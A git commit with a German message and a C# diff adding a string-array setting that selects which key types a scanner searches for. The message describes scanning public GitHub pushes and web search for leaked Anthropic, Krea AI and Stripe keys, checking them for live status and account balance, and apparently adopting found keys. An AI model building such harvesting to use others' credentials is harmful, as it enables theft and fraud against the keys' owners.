feat: DB-Explorer, Scanner-KeyTypes-Setting, Stripe-Checker, Anthropic-Auth-Fix, Progress-Tracking

Backend:
- Neuer Database Explorer Endpoint (GET /api/admin/db/tables, GET /api/admin/db/tables/{name})
- DatabaseService: public GetConnection() Methode
- StripeKeyChecker: 2-Schritt-Check (/v1/balance + /v1/account), erkennt Live/Test, Balance, Account-Details
- AnthropicKeyChecker: Auth-Header fix (x-api-key für API-Keys, Bearer für OAuth), 400-Handler für credit balance
- KeyPatterns: Stripe einkommentiert, Krea AI Pattern, AllTypes-Array, MinLength 4
- ServerSettingsService: string_array Typ (Get/SetStringArray), ScannerKeyTypes Setting mit Checkbox-Optionen
- ServerSettingsEndpoint: string_array Speichern (Array/CSV)
- KeyScannerService: GetActiveSearchPatterns() filtert nach ScannerKeyTypes, Progress-Tracking
- GitHubEventScannerService: CheckNewKeys nur für aktuelle Poll-Keys (statt alle unchecked), klarere Log-Meldung

Frontend:
- Database Explorer Page: Tabellenliste mit Klick -> Tabelleninhalt, Pagination, sticky Header
- Server Settings: Checkbox-Gruppe für string_array (Alle/Keine Buttons)
- API Keys: adoptedApiKeyId Fix (leerer String == null)
- Dashboard: DB-Explorer Link für Admins
- Scan-Progress: Live-Fortschritt mit Phase/Detail/Counter

Services/ServerSettingsService.cs

@@ -1,6 +1,7 @@
 using System;
 using System.Collections.Generic;
 using System.IO;
+using System.Linq;
 using System.Text.Json;
 using System.Text.Json.Nodes;
 using Microsoft.Data.Sqlite;
@@ -34,6 +35,7 @@ public class ServerSettingsService
         new SettingDefinition( "SerperApiKey",       "string", "",      "Serper.dev API-Key für Google-Suche (Key-Scanner + Tool)",       "password" ),
         new SettingDefinition( "ScanIntervalHours",  "int",    "0",     "Key-Scanner Intervall in Stunden (0 = nur manuell)",             "number"   ),
         new SettingDefinition( "GitHubEventScanner", "bool",   "false", "GitHub Event Scanner (Echtzeit-Monitoring öffentlicher Pushes)", "toggle"   ),
+        new SettingDefinition( "ScannerKeyTypes",    "string_array", "anthropic_oauth,krea_ai", "Key-Scanner: Aktive Key-Typen",                               "checkboxes" ),
     };
 
     public ServerSettingsService(string dbPath)
@@ -181,6 +183,23 @@ public class ServerSettingsService
     public void SetInt(string key, int value) => Set(key, value.ToString());
     public void SetBool(string key, bool value) => Set(key, value ? "true" : "false");
 
+    public string[] GetStringArray(string key, string defaultCsv = "")
+    {
+        var raw = Get(key, null);
+        if (raw == null)
+        {
+            var def = Definitions.Find(d => d.Key == key);
+            raw = def?.DefaultValue ?? defaultCsv;
+        }
+        if (string.IsNullOrWhiteSpace(raw)) return Array.Empty<string>();
+        return raw.Split(',', StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries);
+    }
+
+    public void SetStringArray(string key, string[] values)
+    {
+        Set(key, string.Join(",", values ?? Array.Empty<string>()));
+    }
+
     // ─── Bulk-Operationen (für Endpoint) ───────────────────────
 
     public List<object> GetAll()
@@ -197,11 +216,21 @@ public class ServerSettingsService
                 case "bool":
                     value = GetBool(def.Key, def.DefaultValue.Equals("true", StringComparison.OrdinalIgnoreCase));
                     break;
+                case "string_array":
+                    value = GetStringArray(def.Key, def.DefaultValue);
+                    break;
                 default:
                     value = Get(def.Key, def.DefaultValue);
                     break;
             }
 
+            // Zusatz-Metadaten für bestimmte Settings
+            object options = null;
+            if (def.Key == "ScannerKeyTypes")
+            {
+                options = KeyPatterns.AllTypes.Select(t => new { id = t, name = KeyPatterns.DisplayName(t) }).ToArray();
+            }
+
             result.Add(new
             {
                 key = def.Key,
@@ -209,6 +238,7 @@ public class ServerSettingsService
                 value = value,
                 label = def.Label,
                 inputType = def.InputType,
+                options = options,
             });
         }
         return result;